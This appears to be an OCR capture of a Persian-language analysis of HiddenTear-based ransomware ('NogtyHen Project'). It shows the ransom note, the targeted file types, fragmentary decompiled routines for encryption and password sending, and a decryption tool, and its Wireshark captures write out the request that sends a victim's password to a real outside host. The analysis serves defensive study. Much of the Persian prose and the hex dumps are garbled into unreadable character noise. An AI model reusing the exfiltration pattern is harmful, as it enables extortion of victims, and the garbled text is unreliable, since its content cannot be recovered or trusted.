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| ) HACKED_NOGAYHAN txt - Notepad

File Edit Format View Help

This computer has been hacked -
Your personal files have been ecrypted. Send me BTC or food to get decryption passcode.
After that, you'll be able to see your beloved files again.
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SIS 505 sl i TOUCBC I 53 AES (60 505 o oS S51 13120l s oLl oS shailes

)\Jj‘cl.: Bda 3)}» éué)jsﬁ"’ Ca..w.:s

Desktop\\test, Links, Contacts, Desktop, Documents, Downloads, Pictures, Music, OneDrive,
Saved Games, Favorites, Searches, Videos

Axt, .jar, .exe, .dat, .contact, .settings, .doc, .docx, .xls, .xIsx, .ppt, .pptx, .odt, .jpg, .png, .csv,
.py, .sql, .mdb, .sIn, .php, .asp, .aspx, .html, .htm, .xml, .psd, .pdf, .dll, .c, .cs, . mpY, .mp¢,

fYd, .dwg, .cpp, .zip, .rar, .mov, .rtf, .bmp, .mky, .avi, .apk, .Ink, .iso, .V-zip, .ace, .arj, .bzY,
.cab, .gzip, .Izh, .tar, .uue, .xz, .z, .* +\, .mpeg, .mpY, .mpg, .core, .crproj, .pdb, .ico, .pas, .db,

.torrent

cdaliie 46 S shilen 5 b o 51zl ol b ol (6108 50 (sla b einsOLES 5y
L. A e

). » New folder

Organize ~ Open Share with ~ Burn New folder
> . Favorites Name Date modified Type -
autioit-malware-d.mp4.locked 10/15/2018 451 PM  LOCKED File
Il 4 (] Libraries dnSpy.zip.locked 10/15/2018 4:51 PM  LOCKED File
> Documents lack-note,jpa.lacked 10/15/2018 4:51 PM  LOCKED File
> <& Music Microsoft Toolkit.exe.locked 10/15/2018 4:51 PM  LOCKED File
> K Pictures OllyDbg 2.01.rar.locked 10/15/2018 451 PM  LOCKED File
b !' Videos Red.Gate.NET.Reflector.rarlocked 10/15/2018 451 PM  LOCKED File 8493 KB
test file (1).dwg.locked 10/15/2018 451 PM  LOCKED File 115 KB
s Computer test file (1).exe.locked 10/15/2018 451 PM  LOCKED File 5442 KB |
Il > & Local Disk {C) test file (1)jpg.locked 10/15/2018 4:51 PM  LOCKED File 404 KB il
> < Media (E) test file (1).mov.locked 10/15/2018 451 PM  LOCKED File 1,536 KB
test file (1).mp3.locked 10/15/2018 451 PM  LOCKED File 6,233 KB
> ﬁ! Network test file (1).mp4.locked 10/15/2018 451 PM  LOCKED File 48,437 KB
test file (1).pdflocked 10/15/2018 451 PM  LOCKED File 510 KB I
test file (1).rarlocked 10/15/2018 451 PM  LOCKED File 72,215 KB
test file (2).docxlocked 10/15/2018 451 PM  LOCKED File 539 KB I
test file (2).rarlocked 10/15/2018 451 PM  LOCKED File 29,909 KB
test file (3).jpg.locked 10/15/2018 451 PM  LOCKED File 226 KB I
I VB.Decompiler.Pro.rar.locked 10/15/2018 452 PM  LOCKED File 11,697 KB
vb_decompiler_lite.zip.locked 10/15/2018 452 PM  LOCKED File 6,892 KB
VMProtect_Ultimate.rar.locked 10/15/2018 452 PM  LOCKED File 73,849 KB
s dooxlocked 10/15/2018 452 PM  LOCKED File 12 KB
wse.jpg.locked 10/15/2018 452 PM  LOCKED File 42 KB
| aldmp4.locked 10/15/2018 452 PM  LOCKED File 801 KB
wdase.mp3.locked 10/15/2018 452 PM  LOCKED File 4,068 KB
Sl 58l asiexelocked 10/15/2018 452 PM  LOCKED File 5442 KB
.
& sl 8l aiexelocked Date modified: 10/15/2018 4:52 PM Date created: 10/15/2018 4:45 PM
LOCKED File Size: 5.31 MB
|_ —_— == — — ]
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ol 03 3 a1l e (S S o S 55 1) ool Slass s 2l 53 3 e
S p3Y Ol s @Kislosl lame 3 43 8 s o o b e sb a4 als (6,5 0l
e G Jlagai @ bsse 15 el 2 4k30 T WG LKS YO o b Ss 3518 S 5108 5

Pl e IS e Al b gleml B g gaband Sl IRl b 5 et

— — —— s oo S . .
B Windows Task Manager l' = |=]] 2%
F — ‘M

File Options View Help

| Applications Processesl Sewices| Performance | Metworking | Users |

CPU Usage CPU Usage Histo

— | [ || WIHJ |||| || | ||
||'| l'

Physical Memory (MB) System

Total 2047 Handles 14353

Cached 971 Threads 585

Available 1302 Processes 45

Free 381 Up Time 0:00:12:16
Commit (MB) 999 / 4094

Kernel Memory (MB)

Paged 101 ;

Monpaged 43 “¥' Resource Monitor... I

! Processes: 45 CPU Usage: 22% Physical Memory: 36% I\
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AP testfile (D.mpd X| G985, 5l 5 | AP smpdlocked | $ 08 505 51 A
00000000 | 00 01 02 03 04 05 06 07 08 09 0a 0b Oc 0d Oe OF | oooogooo | 00 01 02 03 0405 06 07 08 09 0a 0b oc 0d Oe of

ooonoooo | B8l oo oo 18 66 74 79 70 64 70 34 32 00 00 00 0o |...foypmpaa.. .. oooooooo | [fl46 23 3c s 9e 7c a4 d6 bE al 77 2b ab ed 3b  BFA<TE(H0, jwreds
00000010 | 69 73 6 64 64 70 34 32 00 03 1b 66 6d 6f 6f 76 isommpd2...Imoow 00000010 | 44 Sf 67 dl ca 52 bS 7e 90 89 22 Sc aa 3e 9f 2c D gHERp- &"\*>%,
00000020 | 00 00 00 6c 64 76 68 64 00 00 00 00 d3 £3 89 45 ...lmvhd....06%E 00000020 | Ge 34 fa be 45 £f be c7 le £4 d7 85 02 13 de 65 niGHEPHC.Ox...Ne
00000030 | d3 £3 89 45 00 0L S£ 90 02 63 29 24 00 01 00 00 O&%E.. .C)%.... 00000030 | 26 a5 Of 94 b a2 08 e6 c9 48 6e lc d0 33 17 cl  &¥."ds.zEEn.B3.A
00000040 | 01 00 00 00 00 00 00 00 00 00 00 00 00 O1 00 00 00000040 | 76 bb e2 72 af db d0 ba 60 £2 8e bd ba 69 bS 3d veAr'UB° eIutip=
00000050 | 00 00 00 0O 00 00 00 00 0O 0O 00 00 00 O1 00 00 00000050 | 3c 36 43 a5 &84 38 cd c9 ca 36 79 3c 94 21 03 79  <6C¥.BIEE6y<T!.y
00000060 | 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00000060 | af 28 a2 74 ae 82 15 23 £3 99 Te el 3f 65 %a 5& (eT®,.3bM-aved~
00000070 | 00 00 00 0O 00 00 00 00 0O 0O 00 00 00 00 00 00 00000070 | 96 8d c5 a7 £2 Oe lc e4 64 68 d2 20 88 7b 23 13 - ASo..adh0 ~{#.
00000080 | 00 00 00 00 00 00 00 00 00 00 00 03 00 01 de 2c 00000080 | £3 b2 1f ed 25 af 7e 52 58 ed 50 07 a7 d&8 da 26 6,.1% ~RX&P.§2Us
00000090 | 74 72 61 6b 00 00 00 5c 74 6b 62 64 00 00 00 03  trak...\tkhd 00000090 | 9b £0 a5 ae S5d fc ed Of 7d 89 09 17 bl £9 90 53 >5¥e]ai.}%..:d S
000000a0 | d3 £3 89 45 d3 £3 89 45 00 00 00 01 00 00 00 00 O&EOSHE. 000000a0 | 80 bl 67 Bf cB 00 &b 65 a0 Of d2 22 b2 26 0d 7c  £g E.ce .0"%a.|
000000b0 | 02 63 29 02 00 00 00 00 00 0O 00 00 00 00 00 00 00000060 | 6e 8d 9b 6f e2 c2 £d 39 cd 37 17 30 4e 06 da eb n >odkyei7.oN.gE
000000c0 | 00 00 00 00 00 0L 00 00 00 0O 00 00 00 00 00 00 000000c0 | 51 ef bf d2 e7 61 d0 14 2£ 82 Sb b0 Ol a3 b2 b3  Qizdgab./,[".2%7
000000d0 | 00 00 00 0O 00 OL 00 00 0O 0O 00 00 00 00 00 00 00000040 | £4 dc 64 27 82 11 1d 53 fbcf 1573 b7 £1 le 2d &0d',..Sal.5-A.-
00000020 | 00 00 00 00 40 00 00 00 05 00 00 00 02 d0 00 00 00000020 | e a3 47 4a df d5 31 3c 55 ca Oa 50 £f a3 58 61  Z2GJBO1<UE.P§eXa
000000£0 | 00 00 00 24 65 64 74 73 00 00 00 1c 65 6c 73 74 000000£0 | 10 8a 82 e8 40 2e 08 ee 2d 1b 76 2c 5,80, .0-.v, A"
00000100 | 00 00 00 00 00 00 00 01 02 63 29 0B 00 00 Ob be 00000100 | 97 a6 90 Oc £9 c3 cO a7 90 £6 40 29 d3 Oa 1d d6 —! .ukds 8@)6..0
00000110 | 00 01 00 00 00 0L dd a4 6d 64 69 61 00 00 00 20 00000110 | 52 83 e2 ea 2c 71 9£ 18 £l e5 fe 36 Oa 3c 6z 56 Rf#é,q¥.fEp6.<iV
00000120 | 6d 64 68 64 00 00 00 00 d3 £3 89 45 d3 £3 89 45 00000120 | c2 8e 4d £9 4b 66 fc b7 bc eB 54 32 ed 7f e7 c6  AZMAKEE %T21) gE
00000130 | 00 01 5£ 90 02 63 29 08 55 cd4 00 00 00 00 00 47 00000130 | b6 55 48 eb 2c 3¢ & Jc 82 cl 05 c@ 3e 28 dc 5c  YUHE,<ml,A.E>(T\
00000140 | 68 64 6c 72 00 00 00 00 00 00 00 00 76 69 64 65 00000140 | 8c Se be Oe 3a 59 b9 39 78 e7 d6 b2 3d Of e3 a2 (E~%.:¥ 9xch*=.&e
00000150 | 00 00 00 0O 00 00 00 00 00 0O 00 00 49 53 4f 20 00000150 | &4 1f 75 56 39 35 35 a6 3d a9 fc d? 04 d2 bd c7  ..uV9ss!|=eul.(hC
00000160 | 4d 65 64 69 61 20 66 69 6C 65 20 70 72 6f 64 75 Media file produ 00000160 | ab fe 82 el Oc 2d 0b 8c d6 57 7b 95 a4 74 b9 50  «b,&.-.E0W[=RT'P
00000170 | 63 65 64 20 62 79 20 47 6f 6f 67 6c 65 20 49 6= ced by Google In 00000170 | £1 27 c2 de 6d d2 az e9 49 a8 36 31 Ob 4d c5 93  f'AEmD*EI61.MA"
00000180 | 63 2e 00 00 01 dd 35 6d 69 6e &6 00 00 00 24 64 c....¥5minf...3d 00000180 | bb 48 £1 B2 20 ae 1f 2c  6d 5b £f bl 6d 89 74 bd  »HA, ®.,m[fmst’
00000190 | 69 6e 66 00 00 00 1c 64 72 65 66 00 00 00 00 00 .dref. 00000190 | e0 b2 Oa b2 92 a2 20 e6 68 74 fz 79 0 25 df d0 &°.°’s =htdydisd
000001a0 | 00 00 01 00 00 00 Oc 75 72 6c 20 00 00 00 01 00 _ | o00001a0 | 75 al 82 a4 d0 83 e9 a3 £9dl bb 06 56 £f 1b 06 uj,nBféfufls.V§..
< | 11 | » < | 1

File Comparison

@ u@E & & 9
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Type Offset (Source) Offset (Dest) Size
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S$thislcon

o] aJ.,oT
startAction() : void

(153 ;

sword) ;

(!flag);
Applicat 1

i O sl ) ey 18l ol LB Qs g

MoveVirus
() .J\_.ive)u\ liydgbﬁu:””)JASLgJ}'Sﬁb

CreatePassword(\¢) e b (6108 505 g 6,518 10 55 5y S sl
Directory_Settings_Sending() AL e Il Baa ;50 sla, 58 pls Jald LU
messageCreator() S o a1y Ll el L &6

Joate ol 4 SU 3 s S AS sy U
CheckForInternetConnection() e
)—_3?' 2 e

35S s S aiees ey sl (1l ) Sl AL
SetWallpaperFormWeb() , .
g 5 4lls J}ﬂcy Ol 3

S i 4 b Sl (bl S L
SendPassword|) IS g ar i LB (5108 505 &0 by o 3 gy ol o

238 oo )l I3l Ol b s

: LiL . MoveVirus() &b« by 3 AS anksd
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MoveVirus() : void

FileMame =

(scurceFileName,

g A (SIS V0 555y S aS AL .« CreatePassword()0) GU @by 53 S ankad
P S pobml SL 3 A (gl sk e g la L SIS 50y g ol
CreatePassword(int) : string

length)

m random =
(@ < length--)

stringBuilder.ToSt

Sy slas) S pls o) 45 WAL - Directory_Settings_Sending() Cfu @ bge 3 US ankad

el sdaline LB OT o Bl Sas
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password)

str = "Us
location =
location2 =
location3 =
location4
location5 =
locationé
location?7
location8

+ o+ o+ o+ o+ o+ o+
+ o+ + + o+ + o+ +

location9 =
locationl® =
locationll
location12

ocation, password);
ocation2, passwor
'(location3, password);
ocationd, passwor
ocation5, passwor
ocation6, password);
passwor
passwor
password) ;
password) ;
ocationll, password);
ocation12, password);
y(location13, password);

S = Al plag & by e Ll o5 AL e messageCreator() wU a; by e 5 A askd

S o 3w HACKED_N*GEYHEN.txt Ol e > 5 Desktop

messageCreator() : void

str =
path
text

[1 contents

askas ol sl eslanal bl 58l gh s Ll e CheckForinternetConnection() &b« Lye 3 dS ankd
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CheckForlnternetConnection() : bool

WebClient())

4 by s @ ) Sl L oS A3 s SetWallpaperFormWeb() o & by e 5 S aalad
33 g 3 s Il Ol b 5 J 28 s e Sl e g

SetWallpaperFromWeb(string, string) : void X

(s 43 by e Sledbl &b ! sl s L as Wil » SendPassword() &b« Ly 3 dS ankad
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SendPassword(string) :

password)

password,
"&allow=r:

.ctor() : void

Lv\—iLAJLrﬁ ealaul L;”.:J Yo\ CBC CJL?- PL AES LS)KJJ"’) (":i)_ﬁi'“ )‘ )\Jﬁ‘c\; VJ”J‘}N e)L.i\ Y )‘}ELAA

DAL e Aol Bl b e 5 US ankad
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AES_Encrypt(bytel], bytell) : byte[]

[1 AES_Encrypt []1 bytesToBeEncrypted, [] passwordBytes)

MemoryStream

passwordBytes, salt, 1600);

am = C eam(memoryStream, rijndaelManaged.CreateEncr ~(), CryptoStreamMode.

ytesToBeEncrypted, ©, bytesToBeEncrypted. );

encryptDirectory(String, String) : Void X

ry(location » password

(location)
(lecation)

(files(i))

U dsles il sl Sl e sdle a5 WAL s EncryptFile() wU a by e 05 A askd
L 2l 2 sy Move(,) b 5l oslizd L il S 505 o, S 4 b g e S AES_Encrypt(,)
. MJJA J’.".‘.‘.’" .IOCked 4 b ‘)‘JB\CL, Bda b)j.n

EncryptFile(string, string) : void

password)

(file);
=(password) ;
EY; e

(path);

(file, byte
(file, file + ".
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Ddas e i |y L3 (P K0 2R 25 &S axdad 5l oslais) L NogtyHEn Project J'P‘C‘-f
etWallpaper(string) : void

path)

Forml. (20u, ©u, path, 3u);

AS e oslaxal Ol 3l GU SCoolen 4y (s s 4lsals 5l lazs NogiyHén Project )bé‘d’-

mscoree.dll

_CorExeMain

D el e, Aul
o LledMb| SendPassword() @u !>, L NogtyHén Project )‘J‘.é‘cl.z 250 oLl &S sskilen
Nl Ole b 5 IS 55, a0 1y b bl (108 505 &0 g so 35 mm ol op 0 SL 3 s 4 Lo 0

\)Umd\w\;@@uj@ﬁ)\p@w\@kﬁf&,;&g\;w)ﬂp@s&du)\
b LAJ_.J‘LB cHiddenTear )‘H\Cl_’ L§°"‘fl—> 4_> .kj_sjé L}'."L‘fj") ,)‘J—" )‘ OJLG.;M‘L}) ML«J uﬁg

G eMLLAJJLSLAJ.iULSJ‘KJA)ML}:J.@JJMﬁ)ﬂj@:).} MLN&LS).O)

4 ‘Wireshark - Follow TCP Stream (tcp.stream eq 6) - wireshark_93DF4962-A00B-49BE-AEC7-7C8E38E582B1_20181016134152_a03024 T‘
i =kl —
GET /Server/write.php?computer_name=WIN-TOCDPFD33VG&userName=SADEGH&passwordfvYgUluNGMVT7rTkallow=ransom HTTP/1.1

Host: www.vipturkiye.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 21

l Date: Tue, 16 Oct 2018 10:14:04 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive

<title>Nope!</title>

L_AJ.:LB G PR VY &Bﬂ)ﬂj@))ﬁ&fﬁ &L:ff))\flj\ obwﬂw‘l{gb‘)ﬂ U'i\ JI_‘)L}')\U..,.:

& HiddenTearDecrypter — O >

Settings Tools About

Extension: | locked ] [] Regex Ext. Select Directory
Password: {vKgUluNGMVTTrT ] [Passwotd List ]

(3)\vb_decompiler_lite zip locked =]

[+] Decrypted: C:\Users\SADEGH\Desktop\New folder

(3)\vb_decompiler_lite zip 15

[+] File: C:\Users\SADEGH"\Desktop\New folder abedefghijkimnopqgrs
(B)\VMProtect_Ulimate_3.0.9_x86_x64_Downloadly ir rar locked

[+] Decrypted: C:\Users\SADEGH\Desktop‘\New folder
(3)\VMProtect_Uimate_3.0.9_x86_x64_Downloadly irrar

Decrypted 8 files! st a3 Decrypt

Done! v2.2.0.11
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S S
L, S 3 st&ﬁﬁ@ﬂ\y&l{ﬁw():ﬁ Jate &) 5o 53 NogiyHEN Project 53! Cp
Al o

Aas s OLLS | NogiyHEn Project 1531 ~U slas Slbli)l 5l o 5 sl

[W[tcp-stream eq 6 BT - egression... +
No. Time Source Destination Protocol  Length Info
~ 1859 122.897817 192.168.1.35 193.70.19.218 TP 66 49192 » 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1468 WS=256 SACK_PERM=1
1061 122.115846 193.78.19.218 192.168.1.35 TP 66 88 » 49192 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1484 SACK_PERM=1 WS=256
10862 122.115968 192.168.1.35 193.70.19.218 TCP 54 49192 » 8@ [ACK] Seg=1 Ack=1 Win=65792 Len=0
1863 122.116515 192.168.1.35 193.70.19.218 HTTP 222 GET /[Serverfurite.php?computer_name=WIN-TOCDPFD33VGRuserlame=SADEGHEpassword=GA7075Yr72UfKcskal low=ransom HTTP/1.1
1064 122.141936 193.70.19.218 192.168.1.35 TP 60 88 + 49192 [ACK] Seg=1 Ack=169 Win=3@464 Len=0
10865 122.686964 193.70.19.218 192.168.1.35 HTTP 256 HTTP/1.1 200 OK (text/himl)
1866 122.803962 192.168.1.35 193.70.19.218 TCP 54 49192 + 80 [ACK] Seq=169 Ack=203 Win=65536 Len=0

58 8b 3 99 36 cc @@ Bc 29 63 96 84 03 09 45 00
08 28 @3 62 40 00 88 @6 08 00 c@ a8 @1 23 c1 45
13 da @ 28 8@ 5@ da 3f 1f dd 35 57 @ 35 50 1@
01 88 97 86 060 08

VYV NANA sl by e 3150 g

A [tep.stream eq 4

o Time Source Destation Protocal  Length  Info
54 113.456791 192.168.1.35 172.217.20.4 TP 54 49190 » 443 [ACK] Seq=255 Ack=2421 Win=-66048 Len-@
57113.650403  192.168.1.35 172.217.20.4 TLSv1 192 Application Data, Application Data
59 113.823173 172.217.20.4 192.168.1.35 Tce 60 443 + 49190 [ACK] Seq=2421 Ack=393 Win=62976 Len=0
61113.855706  172.217.20.4 192.168.1.35 TLSvi 1451 Application Data
62 113.862156 172.217.20.4 192.168.1.35 TLSv1 1451 Application Data
63 113.862241 192.168.1.35 172.217.20.4 e 54 49190 + 443 [ACK] Seq=393 Ack=5215 Win=66048 Len=0
64 113.868696 172.217.20.4 192.168.1.35 TLSv1 1451 Application Data
65113.875091  172.217.20.4 192.168 TLsvi 1458 Application Data
66113.875176  192.168.1.35 172.217 Tcp 54 49190 + 443 [ACK] Seq=393 Ack=8016 Win=66048 Len=0

67 113.881745  172.217.20.4 102.168 TLSV1 1444 Application Data

60 113.887860 _ 192.168.1.35 172.217.20.4 TP 66 49190 » 443 [ACK] Seq=393 Ack=0406 Win-66048 Len-0 SLE~10810 SRE=12214

71113.894503  192.168.1.35 172.217.20.4 TP 54 49190 » 443 [ACK] Seq=393 Ack=12214 Win=66048 Len=0
72113.902349  172.217.20.4 192.168.1.35 TLSvL 1458 Ignored Unknown Record
73113.907791  172.217.20.4 192.168.1.35 TLSv1 1458 Ignored Unknown Record
74 113.907852  192.168.1.35 172.217 63232 Len=0

78 113.923543  192.168.1.35 172.217.20.4 T 54 49190 » 443 [ACK) Seq=393 Ack=17830 Win=68416 Len=0
79113.933425  172.217.20.4 192.168.1.35 P 1458 443 + 49190 [ACK] S€q=17830 Ack=393 Wine=62976 Len-1404
80113.933431  172.217.20.4 192.168.1.35 TLSv1 1458 Ignored Unknown Record

81113.933512  192.168.1.35 172.217.20.4 TP 54 49190 » 443 [ACK] Seq=393 Ack=20638 Win=57600 Len=0

Q
.

Frame 74: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface
Ethernet II, Src: Vmware 63:96:84 (00:0c:29:63:96:84), Dst: ZyxelCom _99:36:cc (58:8b:f3:99:36:cc)
Internet Protocol Version 4, Src: 192.168.1.35, Dst: 172.217.20.4

Transmission Control Protocol, Src Port: 49190, Dst Port: 443, Seq: 393, Ack: 15022, Len: 0

58 8b £3 99 36 cc 00 Oc 29 63 96 84 08 00 45 00 X
00 28 02 Of 40 00 50 @6 00 00 cO a8 01 23 ac d9
14 04 c0 26 01 bb 8b dd el 86 ba d9 c@ 62 50 10
00 7 82 c3 00 00

WYXNIWY g gl by Kol 50Y s
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http://vipturkiye.com/webpanel/demand/Desktop-Money-Wallpaper-HD-
V4Y XV v Av-Y.jpg

—
1

http://www.vipturkiye.com/Server/write.php?computer_name=PC&userName=adm

in&password=*YcpPLVNq1P)(Kl&allow=ransom

—
1

el 3,8 135 Bl LOT L I3l 2l o aladlpen o

&:6ij>1 Q)ﬁo)l.a.«i )j..LSH.v

WY YN\V.Y 8 $ey Kij‘" od>cle CJVL."‘

TCD
A

EURZRERLVS ol b

TCD
Ao

EAAZREREV il b

TCD

LS o 5,8 Bl S8 LS 3 (s 0252 ot o) 2 g lazl NogiyHEn Project [l 5l
(Sl a by e Dbl Jlu,l S K3 5l s awe) o a B gl 30 S 5L S e

LS o 18 Bl Ole b 5 JmS s b
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M Wireshark - Follow TCP Stream (tcp.stream eq 6) - wireshark_93DF4962-A00B-49BE-AEC7-7C8E38E582B1_20181015165106_a03204 o= |

GET /Server/write.php?computer_name=WIN-TOCDPFD33VG&userName=SADEGH&password=GA7075Yr7?UfKcs&allow=ransom HTTP/1.1
Host: www.vipturkiye.com
Connection: Keep-Alive

HTTP/1.1 280 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 21

Date: Mon, 15 Oct 2018 13:24:33 GMT
Accept-Ranges: bytes

server: LiteSpeed

Connection: Keep-Alive

| <title>Nope!</title>

_a03z04 —

: public, max-age-604800
22 Oct 2@18 13:24:26 GMT
30 Aup 2018 13:16:37 GMT
ew

13:24:26 GMT

CREATOR: gd-jpeg vi.@ (using TIG JIPEG ve2), quality - 100

Strasm 5

Show and save asts as [ASCI =1

[Entmecormeerection s e = <
[ Fmanes ]

[Fiter Gut Thiz stream] [ Frnt | [ ssvess.. ] [ 8sek | [ ciese ][ wew |



https://www.hybrid-analysis.com/search?query=port%3A80
https://www.hybrid-analysis.com/search?query=port%3A80
https://www.hybrid-analysis.com/search?query=port%3A80
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7l Wireshark - Follow TCP Stream (tepstream eq“mshark,QSDF49627ANB493E7AEC777C8.E38E582Bl,ZOlBlDlSlGSlDG,aDSZMm

| J.p.m L H
|
_Google Trust Servlcesl%ﬂ#._u____GDDglE Internet Authority G30.

1899259743992

18121807430070h1.0 --U....US1.@...U...

Californial.@...U...
Il Mountain Viewl.e._..U.

Google LLC1.6...U.. . _www.google.comd¥@.. . * H.=....* H.=....B..Z.............-.z..-..A..pq..PO..........

( j % ....R@..NO...U.%..0 I

cofoooooocfocclocscoscooos @...U....0...www.google.com@h..+........ \0ZO-..+.....0 ..!http ,","pkl gDDg/gSr‘Z/GTSGIA63 l:r‘ta)..+ .....

@...http://ocsp.pki.goog/GTSGIAG30. . e lecloiNL Ly [25.¥]50. .U ... ..0.0...U.#..0...W..P.gWW.~.....~.~.KBl..U. ..0.0.. I

o V... 8. ..g.._... 01..U...*0(8&.$.". http://crl.pki.goog/GTSGIAG3.crla

i..v o coooo T..n..e.._.. S ccccoo e...P._f
B 5 ML/ LK 16. L ax L (JU-2

GlobalSignl.@®...U...

GlobalSign®. .

1706150000427 . I

2112150000427071.0 -.U....USl.@...U_

. .Google Trust Services1%@#..U..._Google Internet Authority G3@.
o *_H.
cocoooccoo 9..
o -$k..r.h. V] fE=5 = WEoocso0o0Bso0ofes/looco00oTFWoosoos }i&y
.Q..2. \p RK .j'k-6zbP. .

n. »--9. o

o .U.._... R B Wg. Y-85 .+ ... ... Y0'e%. .. ... a...http //ocsp. pk1 goog/

gerBZ_.U_._+B)B xS thtp //crl pkl gDDg/ger/ger crl10?. .U, EBEBA..g ..... a*a(..+ ......... https://pki.goog/repository/@

*.H.

,,,,,,,,,,,,,,, S ... 2 _  mBw R fW'._ _ ?e s

5 clent phkts, 40 sarver pits, 7 turms.

[Entire conversation (44 ke) -~ Show and save data as Stream 4 %]

Find: Find Next

[Fiher Out This Strsam] [ Print ] [ Save as... ] [ Back ] [ Close ] [ Help ]

193.70.19.218 |IP Address Information

ISP OVH SAS

Usage Type Data Center/Web Hosting/Transit
Hostname server1.poyrazhosting.com
Domain Name ovh.com

Country il

City Roubaix, Hauts-de-France

REPORT 193.70.19.218 VIEW ABUSE REPORTS

server1.poyrazhosting.com

2loy
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IP ADDRESS DETAILS

172.217.20.4

United States

Q Location N Connection
Hostname ham02s13-in-f4.1e100.net
View larger map
Andale Address type 1Pv4
Pretty Prairie Colwich N
ASN AS15169 Google LLC
Organization Google LLC
@
Google Route 172.217.20.0/24
—
Map data ©2018 Google ., Terms of Use  Reportamap error
Coordinates 37.7510,-97.8220
S T Access all of this data with just one

line of code using our API.

WYTWY s ol G Cardge b s
: VirusTotal sbLle >4 &
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CrowdStrike Falcon

Gylance

Jiangmin

K7Gw

Gen:Heur.Ransom.RENtS.Gen. 1
Trojan.Ransom.HiddenTear
Trojan.Ransom.RENtS.Gen.1
Win32:Trojan-gen
Gen:Heur.Ransom.RENtS.Gen.1
malicious_confidence_1009% (D)
Unsafe

Trojan.Encoder. 10598

malicious (high confidence)

a variant of MSIL/Filecoder.Z
Gen:Heur.Ransom.RENtS.Gen.1
MSIL. Trojan-Ransom.Cryptear.Z
Trojan.Generic.bnniw

Trojan ( 700000121 )
Ransom.HiddenTear
Ransomware-FTD!38D6A7C25E58
Ransom:MSIL/Ryzerlo.A
generic.ml
Win32/Trojan.Ransom.ec8

static engine - malicious
heuristic

Ransom.HiddenTear!g1
Ransom_CRYPTEAR.SMO

TScope.Trojan.MSIL

2

W32Trojan.Gen

AhnlLab-Vv3

Antiy-AVL

Avira

CAT-QuickHeal

CGybereason

GQren

TrendMicro-HouseCall

VIPRE

2 2

Malware/Win32.Generic.C1020407
Trojan/Win32AGeneric
Win32:Trojan-gen
HEUR/AGEN.1022240
Trojan.YakbeexMsIL.ZZ4
malicious.25e581
W32/Ransom.lQ.gen!Eldorado
Gen:Heur.Ransom.RENtS.Gen.1 (B)
Gen:Heur.Ransom.RENtS.Gen. 1
W32/Ransom.iQ.gen!Eldorado
MSIL/Filecoder.Zitr
Trojan-Ransom.FileCoder

Trojan ( 700000121)
HEUR:Trojan.Win32.Generic
malware (ai score=100)
Ransomware-FTD!38D6A7C25E58
Trojan.Win32.Encoder.fhdjyj
Trj/GdSda.A
Ransom.Ryzerio!8.782 (CLOUD)
Troj/Cryptear-F
Ransom.HiddenTear/Variant
Win32.Trojan.Fakedoc.Auto
Ransom_CRYPTEAR.SMO
TrojanWin32.Generic!8T

HEUR:Trojan.Win32.Generic

Dol S e g8 g pg Able oy S
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Honest_Sample_5bbf25d929e33e6dba7fbdaf.bin ¢Sl azuis

Clean

Dangerous:
Troj/Cryptear-F

Dangerous:
Gen:Heur.Ransom.REntS.Gen.1

Suspicious:
HEUR:Trojan.Win32.Generic

Dangerous:
MSIL/Filecoder.Z

Dangerous:
Trojan.Encoder.10598

Clean

Dangerous:
Malware

Dangerous:
Gen:Heur.Ransom.REntS.Gen.1

Clean

Dangerous:
Ransom.HiddenTear!g1

t
£

0929 dduus

2.3.190.2675

9.15.0

11.00

5.5

4.5.3.39056

11.0.1.1607061217

0.99.2

1.1.268025.1

11.0.1.18

7.9.0.30

uP9RaAl

vingal

sophos

f_secure

kaspersky

eset

drweb

clam_av

comodo

bitdefender

avast

symantec

2loy



